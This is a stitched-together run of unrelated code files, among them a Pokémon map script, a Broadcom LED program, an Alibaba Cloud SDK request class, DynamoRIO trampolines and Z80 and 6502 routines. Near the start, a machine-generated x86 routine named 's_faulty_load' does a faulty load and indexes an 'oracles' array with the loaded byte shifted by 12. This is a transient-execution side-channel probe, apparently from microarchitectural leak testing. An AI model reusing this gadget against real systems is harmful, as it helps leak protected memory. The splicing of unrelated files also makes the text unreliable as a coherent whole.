CalendarEventsListContentClass GOTO ObjCallSuperNoLock CalendarEventsListContentVisClose endm MailboxCode ends endif ; HANDLE_MAILBOX_MSG
.global s_prepare_buffers s_prepare_buffers: push %r14 push %r15 push %r9 push %rcx push %rdi push %rsi lea addresses_normal_ht+0x16531, %r9 nop nop nop inc %r14 movups (%r9), %xmm1 vpextrq $0, %xmm1, %rcx nop nop nop nop and %rdi, %rdi lea addresses_UC_ht+0x85d5, %rsi lea addresses_D_ht+0x169d5, %rdi inc %r14 mov $118, %rcx rep movsb nop nop nop and %rdi, %rdi lea addresses_D_ht+0x10ad5, %r15 nop cmp %rcx, %rcx mov (%r15), %rdi nop nop nop nop xor %r9, %r9 lea addresses_WT_ht+0x1415, %r15 nop nop nop nop nop xor %rcx, %rcx movl $0x61626364, (%r15) nop nop nop and $35752, %r9 lea addresses_UC_ht+0x17ea5, %rdi nop nop sub $21550, %r15 mov $0x6162636465666768, %rsi movq %rsi, %xmm7 and $0xffffffffffffffc0, %rdi movntdq %xmm7, (%rdi) nop nop nop nop nop cmp %r14, %r14 pop %rsi pop %rdi pop %rcx pop %r9 pop %r15 pop %r14 ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %r15 push %rax push %rbp push %rcx // Load lea addresses_WC+0x111d5, %r14 nop sub %r11, %r11 movups (%r14), %xmm3 vpextrq $0, %xmm3, %rcx xor %r14, %r14 // Faulty Load lea addresses_PSE+0x5dd5, %r15 nop nop nop nop sub $59476, %rax mov (%r15), %ecx lea oracles, %rax and $0xff, %rcx shlq $12, %rcx mov (%rax,%rcx,1), %rcx pop %rcx pop %rbp pop %rax pop %r15 pop %r14 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_PSE', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC', 'same': False, 'size': 16, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_PSE', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 4, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 16, 'congruent': 4, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
/* * Copyright 2009-2017 Alibaba Cloud All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <alibabacloud/imm/model/CreateTagSetRequest.h> using AlibabaCloud::Imm::Model::CreateTagSetRequest; CreateTagSetRequest::CreateTagSetRequest() : RpcServiceRequest("imm", "2017-09-06", "CreateTagSet") {} CreateTagSetRequest::~CreateTagSetRequest() {} std::string CreateTagSetRequest::getRegionId()const { return regionId_; } void CreateTagSetRequest::setRegionId(const std::string& regionId) { regionId_ = regionId; setCoreParameter("RegionId", regionId); } std::string CreateTagSetRequest::getProject()const { return project_; } void CreateTagSetRequest::setProject(const std::string& project) { project_ = project; setCoreParameter("Project", project); } std::string CreateTagSetRequest::getAccessKeyId()const { return accessKeyId_; } void CreateTagSetRequest::setAccessKeyId(const std::string& accessKeyId) { accessKeyId_ = accessKeyId; setCoreParameter("AccessKeyId", accessKeyId); }
object_const_def ; object_event constants const ROUTE30_YOUNGSTER1 const ROUTE30_YOUNGSTER2 const ROUTE30_YOUNGSTER3 const ROUTE30_YOUNGSTER4 const ROUTE30_MONSTER1 const ROUTE30_MONSTER2 const ROUTE30_FRUIT_TREE1 const ROUTE30_FRUIT_TREE2 const ROUTE30_COOLTRAINER_F const ROUTE30_POKE_BALL Route30_MapScripts: db 0 ; scene scripts db 0 ; callbacks TrainerYoungsterMax: trainer YOUNGSTER, MAX, EVENT_BEAT_BUG_CATCHER_DON, YoungsterMaxSeenText, YoungsterMaxBeatenText, 0, .Script .Script: endifjustbattled opentext writetext YoungsterMaxAfterText waitbutton closetext end Route30YoungsterScript: faceplayer opentext checkevent EVENT_GAVE_MYSTERY_EGG_TO_ELM iftrue .CompletedEggQuest writetext Route30YoungsterText_DirectionsToMrPokemonsHouse waitbutton closetext end .CompletedEggQuest: writetext Route30YoungsterText_EveryoneIsBattling waitbutton closetext end Route30CooltrainerFScript: jumptextfaceplayer Route30CooltrainerFText Route30Sign: jumptext Route30SignText MrPokemonsHouseDirectionsSign: jumptext MrPokemonsHouseDirectionsSignText MrPokemonsHouseSign: jumptext MrPokemonsHouseSignText Route30TrainerTips: jumptext Route30TrainerTipsText Route30Antidote: itemball ANTIDOTE Route30FruitTree1: fruittree FRUITTREE_ROUTE_30_1 Route30FruitTree2: fruittree FRUITTREE_ROUTE_30_2 Route30HiddenPotion: hiddenitem POTION, EVENT_ROUTE_30_HIDDEN_POTION Route30_JoeysRattataAttacksMovement: fix_facing big_step UP big_step DOWN step_end Route30_MikeysRattataAttacksMovement: fix_facing big_step DOWN big_step UP step_end Text_UseTackle: text "Go, RATTATA!" para "TACKLE!" done Text_ThisIsABigBattle: text "What? This is a" line "big battle!" cont "Leave me alone!" done YoungsterMaxSeenText: text "Hahaha!" line "Prepare to lose!" done YoungsterMaxBeatenText: text "You must've" line "cheated!" done YoungsterMaxAfterText: text "I'm unstoppable!" line "I always beat" cont "everyone else in" para "my class!" done Route30YoungsterText_DirectionsToMrPokemonsHouse: text "MR.#MON's" line "house? It's a bit" cont "farther ahead." done Route30YoungsterText_EveryoneIsBattling: text "Everyone's having" line "fun battling!" cont "You should too!" done Route30CooltrainerFText: text "I'm not a trainer." para "But if you look" line "one in the eyes," cont "prepare to battle." done Route30SignText: text "ROUTE 30" para "VIOLET CITY -" line "CHERRYGROVE CITY" done MrPokemonsHouseDirectionsSignText: text "MR.#MON'S HOUSE" line "STRAIGHT AHEAD!" done MrPokemonsHouseSignText: text "MR.#MON'S HOUSE" done Route30TrainerTipsText: text "TRAINER TIPS" para "No stealing other" line "people's #MON!" para "# BALLS are to" line "be thrown only at" cont "wild #MON!" done Route30_MapEvents: db 0, 0 ; filler db 0 ; warp events db 0 ; coord events db 4 ; bg events bg_event 11, 23, BGEVENT_READ, Route30Sign bg_event 15, 15, BGEVENT_READ, MrPokemonsHouseDirectionsSign bg_event 1, 9, BGEVENT_READ, Route30TrainerTips bg_event 4, 27, BGEVENT_ITEM, Route30HiddenPotion db 6 ; object events object_event 12, 7, SPRITE_YOUNGSTER, SPRITEMOVEDATA_STANDING_LEFT, 0, 0, -1, -1, PAL_NPC_GREEN, OBJECTTYPE_TRAINER, 3, TrainerYoungsterMax, -1 object_event 6, 4, SPRITE_YOUNGSTER, SPRITEMOVEDATA_WALK_LEFT_RIGHT, 1, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, Route30YoungsterScript, -1 object_event 14, 24, SPRITE_FRUIT_TREE, SPRITEMOVEDATA_STILL, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, Route30FruitTree1, -1 object_event 12, 4, SPRITE_FRUIT_TREE, SPRITEMOVEDATA_STILL, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, Route30FruitTree2, -1 object_event 11, 26, SPRITE_COOLTRAINER_F, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, Route30CooltrainerFScript, -1 object_event 5, 30, SPRITE_POKE_BALL, SPRITEMOVEDATA_STILL, 0, 0, -1, -1, 0, OBJECTTYPE_ITEMBALL, 0, Route30Antidote, EVENT_ROUTE_30_ANTIDOTE
a db 0 B dw A c dw b
ld a, 248 ld hl, basescradr + #0d54 ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #04f0), a ld (basescradr + #06f1), a ld (basescradr + #0833), a ld (basescradr + #09b4), a ld (basescradr + #0ab4), a ld (basescradr + #0fd3), a ld a, 3 ld (basescradr + #05ee), a ld (basescradr + #080d), a ld (basescradr + #08cb), a ld (basescradr + #0aec), a ld (basescradr + #0d0c), a ld (basescradr + #0f2b), a ld a, 192 ld (basescradr + #05f1), a ld (basescradr + #0812), a ld (basescradr + #08d4), a ld (basescradr + #09d4), a ld (basescradr + #0af3), a ld (basescradr + #0d13), a ld (basescradr + #0f34), a ld a, 255 ld (basescradr + #07ee), a ld (basescradr + #0bcc), a ld (basescradr + #0c2c), a ld (basescradr + #100e), a xor a ld (basescradr + #07f2), a ld (basescradr + #0b34), a ld (basescradr + #0c34), a ld (basescradr + #0cd4), a ld (basescradr + #0cf3), a ld a, 15 ld (basescradr + #08ec), a ld (basescradr + #090d), a ld (basescradr + #0b4b), a ld (basescradr + #0bab), a ld (basescradr + #0c4b), a ld (basescradr + #0cab), a ld (basescradr + #0eed), a ld (basescradr + #0f0c), a ld a, 240 ld (basescradr + #08f3), a ld (basescradr + #0912), a ld (basescradr + #0a54), a ld (basescradr + #0b54), a ld (basescradr + #0cb4), a ld (basescradr + #0db4), a ld (basescradr + #0f13), a ld a, 63 ld hl, basescradr + #088b ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0a6b ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #092c), a ld (basescradr + #0a0d), a ld (basescradr + #0ded), a ld (basescradr + #0ecc), a ld (basescradr + #110e), a ld a, 252 ld hl, basescradr + #0974 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0a94 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #0933), a ld (basescradr + #0a12), a ld (basescradr + #0ed3), a ld (basescradr + #1111), a ld a, 127 ld (basescradr + #0b0d), a ld (basescradr + #0ced), a ld (basescradr + #0dcc), a ld (basescradr + #130f), a ld a, 254 ld (basescradr + #0a33), a ld (basescradr + #0b12), a ld (basescradr + #0dd3), a ld a, 128 ld (basescradr + #0ad4), a ld (basescradr + #0bf3), a ld (basescradr + #0c13), a ld (basescradr + #0d34), a ld a, 7 ld (basescradr + #094b), a ld (basescradr + #09ec), a ld (basescradr + #0e0c), a ld (basescradr + #0eab), a ld (basescradr + #0fab), a ld (basescradr + #0fed), a ld (basescradr + #120e), a ld a, 224 ld (basescradr + #0854), a ld (basescradr + #0954), a ld (basescradr + #09f3), a ld (basescradr + #0e13), a ld (basescradr + #0eb4), a ld (basescradr + #0fb4), a ld (basescradr + #0ff2), a ld (basescradr + #1211), a ld a, 31 ld hl, basescradr + #08ab ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #082c), a ld (basescradr + #086b), a ld (basescradr + #0e4b), a ld (basescradr + #0f4b), a ld (basescradr + #0fcc), a ld a, 1 ld (basescradr + #0acb), a ld (basescradr + #0bec), a ld (basescradr + #0d2b), a ret
; vim: ft=c64jasm !include "somefile.asm" !use "a-plugin" as plug !let var_d = 255 ; decimal !let var_h = $ff ; hex !let var_b = %0100 ; binary !let var_f = 0.5 + .5 + 1e-10 ; floats * = $800 *= $801 label1: lda #var_d lda data,x lda data, y lda #-1 lda #+3 lda #002 ; leading 0s for decimal is error lda #0 ; but not a single 0 lda #$01 lda #%0101 jmp label1 scope: { !macro foo (arg) { lda #arg } } lda #zp::some_val lda #a::deep::scoped::val lda #<irq ldx #>irq ; a comment with a TODO: fix this! ; a comment with a FIX: fix this! ; a comment with a FIXME: fix this! ; a comment with a XXX: fix this! ; a comment with a NOTE: fix this! !! foo() ; execute statement and throw away result !!bar = 42 baz = 42 +foo(123) !if (x == 42) { ldx #42 } elif (y == 42) { ldy #42 } else { lda #42 } 0bad_label: !let obj = { x : 42, y : 42, z : { v : 0 } } !use "blah" as blah !for i in range(5) { lda #i } !align $42 data: !byte $01, $02 !fill 8, 3 !byte plug.data() !! print(::some::var) !let assume = 42 !let interrupt = 42 !binary "somefile.bin", 256, 2
; ; $Id: sdk56700.asm,v 1.8 2012/03/02 14:34:03 yaronm Exp $ ; ; This license is set out in https://raw.githubusercontent.com/Broadcom-Network-Switching-Software/OpenBCM/master/Legal/LICENSE file. ; ; Copyright 2007-2020 Broadcom Inc. All rights reserved. ; ; ; This is the default program for the (16 port) BCM56700 SDKs. ; To start it, use the following commands from BCM: ; ; led load sdk56700.hex ; led auto on ; led start ; ; The is 1 LED per GX port, which is used for both link and activity. ; ; There are two bits per gigabit Ethernet LED with the following colors: ; ZERO, ZERO Black ; ZERO, ONE Amber ; ONE, ZERO Green ; ; Each chip drives only its own LED and needs to write them in the order: ; L01, L02, ..., L16 ; ; Link up/down info cannot be derived from LINKEN or LINKUP, as the LED ; processor does not always have access to link status. This program ; assumes link status is kept current in bit 0 of RAM byte (0x80 + portnum). ; Generally, a program running on the main CPU must update these ; locations on link change; see linkscan callback in ; $SDK/src/appl/diag/ledproc.c. ; ; Link activity info for Higig/XE ports are not updated by LED processor in ; 56700_a0. The counter DMA task reports the activities of Higig/Xe ports ; in bit 1-3 of RAM byte (0x94 + portnum). Bit 1 indicates that the link ; activity is high. Bit 2 indicates that the link activity is medium. Bit ; 3 indicates that the link activity is low. If all three bits are clear, there ; is no activity on the link. See counter DMA task in $SDK/src/soc/counter.c ; ; Current implementation: ; ; L01 reflects port 1 link and activity status: ; Black: no link ; Green: link ; when port speed is higher than 2.5G, ; Green/Amber alternating at approximately 2 Hz (low activity) ; Green/Amber alternating at approximately 4 Hz (medium activity) ; Green/Amber alternating at approximately 8 Hz (high activity) ; ; when port speed is 2.5G and less, ; Black: idle ; Green: RX (pulse extended to 1/3 sec) ; Amber: TX (pulse extended to 1/3 sec, takes precedence over RX) ; Green/Amber alternating at 6 Hz: both RX and TX ; MIN_PORT EQU 0 MAX_PORT EQU 15 NUM_PORT EQU 18 ; Actual number of port 16 + 2 skipped ports. SKIP_PORT EQU 8 ; Skip port 8 and 9. HI_ACT EQU 2 ; Hi activity bit mask ME_ACT EQU 4 ; Medium activity bit mask LO_ACT EQU 8 ; Low activity bit mask ; The TX/RX activity lights will be extended for ACT_EXT_TICKS ; so they will be more visible. SECOND_TICKS EQU 30 ACT_EXT_TICKS EQU (SECOND_TICKS/3) TXRX_ALT_TICKS EQU (SECOND_TICKS/6) ; ; Main Update Routine ; ; This routine is called once per tick. ; update: sub a,a ; ld a,MIN_PORT (but only one instr) up1: port a ld (PORT_NUM),a call activity ld a,(PORT_NUM) inc a cmp a, SKIP_PORT ; On 16 ports HUMV, port 8 and 9 are jnz up2 ; disabled. Therefore, we skip add a, 2 ; port 8 and 9. up2: cmp a,NUM_PORT jnz up1 ; Update various timers inc (HIGIG_ALT_COUNT) up3: ld b,TXRX_ALT_COUNT inc (b) ld a,(b) cmp a,TXRX_ALT_TICKS jc up4 ld (b),0 up4: send 32 ; 2 * (16 ) ; ; activity ; ; This routine calculates the link/activity LED for the current port. ; ; Inputs: (PORT_NUM) ; Outputs: Two bits sent to LED stream ; activity: pushst RX pop jnc act1 ld b,RX_TIMERS ; Start RX LED extension timer add b,(PORT_NUM) ld a,ACT_EXT_TICKS ld (b),a act1: pushst TX pop jnc act2 ld b,TX_TIMERS ; Start TX LED extension timer add b,(PORT_NUM) ld a,ACT_EXT_TICKS ld (b),a act2: ld b,TX_TIMERS ; Check TX LED extension timer add b,(PORT_NUM) dec (b) jnc act3 ; TX active? inc (b) ld b,RX_TIMERS ; Check RX LED extension timer add b,(PORT_NUM) dec (b) ; Extend LED green if only RX active jnc led_green inc (b) jmp xaui_activity ; If LED processor status indicates no ; activity, we check the activity status ; reported by counter thread. act3: ; TX is active, see if RX also active ld b,RX_TIMERS add b,(PORT_NUM) dec (b) ; RX also active? jnc act4 inc (b) jmp led_amber ; Only TX active act4: ; Both TX and RX active ld b,(TXRX_ALT_COUNT) cmp b,TXRX_ALT_TICKS/2 jc led_amber ; Fast alternation of green/amber jmp led_green xaui_activity: ld a, (PORT_NUM) ld b, ACT_DATA add b, a ld b, (b) ld a, HI_ACT and a, b jnz xaui_active ld a, ME_ACT and a, b jnz xaui_active ld a, LO_ACT and a, b jnz xaui_active jmp link_status xaui_active: and a, (HIGIG_ALT_COUNT) jnz led_green jmp led_amber ; ; link_status ; ; This routine calculates the link status LED for the current port. ; ; Inputs: (PORT_NUM) ; Outputs: Two bits sent to LED stream ; Destroys: a, b ; link_status: ld a,(PORT_NUM) ; Check for link down call get_link jnc led_black ; Link down jmp led_green ; Link up ; ; get_link ; ; This routine finds the link status LED for a port. ; Link info is in bit 0 of the byte read from PORTDATA[port] ; ; Inputs: Port number in a ; Outputs: Carry flag set if link is up, clear if link is down. ; Destroys: a, b ; get_link: ld b,LNK_DATA add b,a ld b,(b) tst b,0 ret ; ; led_black, led_amber, led_green ; ; Inputs: None ; Outputs: Two bits to the LED stream indicating color ; Destroys: None ; led_black: pushst ZERO pack pushst ZERO pack ret led_amber: pushst ZERO pack pushst ONE pack ret led_green: pushst ONE pack pushst ZERO pack ret ; Variables (SDK software initializes LED memory from 0x80-0xff to 0) ; TXRX_ALT_COUNT equ 0xf0 PORT_NUM equ 0xf2 HIGIG_ALT_COUNT equ 0xf3 ; HIGIG_ALT_COUNT holds the higig activity ; LED blinking rate. Bit 1 corresponds to ; to high activity, bit 2 corresponds to ; medium activity, and bit 3 corresponds to ; low activity. The high activity blinks twice ; the speed of medium activity and the medium ; activity blinks twice the speed of low ; activity. This counter is incremented ; every LED refresh cycle. ; ; LNK_DATA must be updated continually by main CPU's linkscan task. ; See $SDK/src/appl/diag/ledproc.c for examples. ; In this program, ; Bit ; 0 - If set, the link is up. Otherwise, the link is down. LNK_DATA equ 0x80 ; 20 bytes ; ; ACT_DATA must be updated continually by counter DMA tasks. ; See $SDK/src/soc/counter.c for examples. ; Bit ; 1 - If set, the link activity is more than 50% of line rate. ; 2 - If set, the link activity is between 25 to 50% of line rate. ; 3 - If set, the link activity is between 3 to 25% of line rate. ; If bit 1, 2, and 3 are all clear, the link activity is less than 3%. ACT_DATA equ 0x80+0x14 ; 20 bytes ; ; LED extension timers ; RX_TIMERS equ ACT_DATA+0x14 ; NUM_PORT bytes TX_TIMERS equ RX_TIMERS+NUM_PORT ; NUM_PORT bytes ; ; Symbolic names for the bits of the port status fields ; RX equ 0x0 ; received packet TX equ 0x1 ; transmitted packet COLL equ 0x2 ; collision indicator SPEED_C equ 0x3 ; 100 Mbps SPEED_M equ 0x4 ; 1000 Mbps DUPLEX equ 0x5 ; half/full duplex FLOW equ 0x6 ; flow control capable LINKUP equ 0x7 ; link down/up status LINKEN equ 0x8 ; link disabled/enabled status ZERO equ 0xE ; always 0 ONE equ 0xF ; always 1
%include "include/u7bg-all-includes.asm" %include "../u7-common/patch-eop-toggleCombat.asm"
; char *_memstrcpy_(void *p, char *s, size_t n) SECTION code_clib SECTION code_string PUBLIC _memstrcpy__callee EXTERN asm__memstrcpy _memstrcpy__callee: pop af pop bc pop hl pop de push af jp asm__memstrcpy ; SDCC bridge for Classic IF __CLASSIC PUBLIC __memstrcpy__callee defc __memstrcpy__callee = _memstrcpy__callee ENDIF
; A071230: a(n) = n*(6*n^2 - 7*n + 3)/2. ; 0,1,13,54,142,295,531,868,1324,1917,2665,3586,4698,6019,7567,9360,11416,13753,16389,19342,22630,26271,30283,34684,39492,44725,50401,56538,63154,70267,77895,86056,94768,104049,113917,124390,135486,147223,159619,172692,186460,200941,216153,232114,248842,266355,284671,303808,323784,344617,366325,388926,412438,436879,462267,488620,515956,544293,573649,604042,635490,668011,701623,736344,772192,809185,847341,886678,927214,968967,1011955,1056196,1101708,1148509,1196617,1246050,1296826,1348963,1402479 lpb $0 add $2,$0 sub $0,1 mul $0,8 add $1,$2 add $2,$0 dif $0,8 lpe mov $0,$1
/* ********************************************************** * Copyright (c) 2018-2020 Ratel Authors. All rights reserved. * Copyright (c) 2011-2017 Google, Inc. All rights reserved. * Copyright (c) 2001-2010 VMware, Inc. All rights reserved. * ********************************************************** */ /* * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * * Neither the name of VMware, Inc. nor the names of its contributors may be * used to endorse or promote products derived from this software without * specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL VMWARE, INC. OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH * DAMAGE. */ /* Copyright (c) 2003-2007 Determina Corp. */ /* Copyright (c) 2001-2003 Massachusetts Institute of Technology */ /* Copyright (c) 2001 Hewlett-Packard Company */ /* * x86.asm - x86 specific assembly and trampoline code * * This file is used for both linux and windows. * We used to use the gnu assembler on both platforms, but * gas does not support 64-bit windows. * Thus we now use masm on windows and gas with the new intel-syntax-specifying * options so that our code here only needs a minimum of macros to * work on both. * * Note that for gas on cygwin we used to need to prepend _ to global * symbols: we don't need that for linux gas or masm so we don't do it anymore. */ /* We handle different registers and calling conventions with a CPP pass. * It can be difficult to choose registers that work across all ABI's we're * trying to support: we need to move each ARG into a register in case * it is passed in memory, but we have to pick registers that don't already * hold other arguments. Typically, use this order: * REG_XAX, REG_XBX, REG_XDI, REG_XSI, REG_XDX, REG_XCX * Note that REG_XBX is by convention used on linux for PIC base: if we want * to try and avoid relocations (case 7852) we should avoid using it * to avoid confusion (though we can always pick a different register, * even varying by function). * FIXME: should we use virtual registers instead? * FIXME: should we have ARG1_IN_REG macro that is either nop or load from stack? * For now not bothering, but if we add more routines we'll want more support. * Naturally the ARG* macros are only valid at function entry. */ #include "asm_defines.asm" START_FILE /****************************************************************************/ /****************************************************************************/ //DECL_EXTERN(unexpected_return) DECL_EXTERN(init_app) #ifdef LINUX /* XXX i#1285: implement MacOS private loader + injector */ #if !defined(STANDALONE_UNIT_TEST) && !defined(STATIC_LIBRARY) /* i#47: Early injection _start routine. The kernel sets all registers to zero * except the SP and PC. The stack has argc, argv[], envp[], and the auxiliary * vector laid out on it. * If we reload ourselves (i#1227) we'll set xdi and xsi to the base and size * of the old library that needs to be unmapped. */ DECLARE_EXPORTED_FUNC(app_start) GLOBAL_LABEL(app_start:) /* i#1676, i#1708: relocate dynamorio if it is not loaded to preferred address. * We call this here to ensure it's safe to access globals once in C code * (xref i#1865). */ CALLC3(GLOBAL_REF(init_app), 0, 0, REG_XSP) //jmp GLOBAL_REF(unexpected_return) END_FUNC(app_start) #endif /* !STANDALONE_UNIT_TEST && !STATIC_LIBRARY */ /* i#1227: on a conflict with the app we reload ourselves. * xfer_to_new_libdr(entry, init_sp, cur_dr_map, cur_dr_size) * => * Invokes entry after setting sp to init_sp and placing the current (old) * libdr bounds in registers for the new libdr to unmap. */ DECLARE_EXPORTED_FUNC(xfer_to_new_libdr) GLOBAL_LABEL(xfer_to_new_libdr:) /* Get the args */ mov REG_XAX, ARG1 mov REG_XBX, ARG2 /* _start looks in xdi and xsi for these */ mov REG_XDI, ARG3 mov REG_XSI, ARG4 /* Restore sp */ mov REG_XSP, REG_XBX jmp REG_XAX END_FUNC(xfer_to_new_libdr) #endif /* LINUX */
; =============================================================== ; aralbrec - Nov 2013 ; =============================================================== SECTION code_font_fzx PUBLIC __fzx_char_struct __fzx_char_struct: ; enter : a = char ; hl = struct fzx_font * ; ; exit : hl = struct fzx_char * ; ; uses : af, bc, hl cp 32 jr nc, char_over ld a,'?' char_over: inc hl inc hl ; hl = & fzx_char.last_char dec a cp (hl) jr c, char_ok ld a,'?'-1 char_ok: sub 31 ld c,a ld b,0 inc hl ; hl = & first fzx_char add hl,bc add hl,bc add hl,bc ret
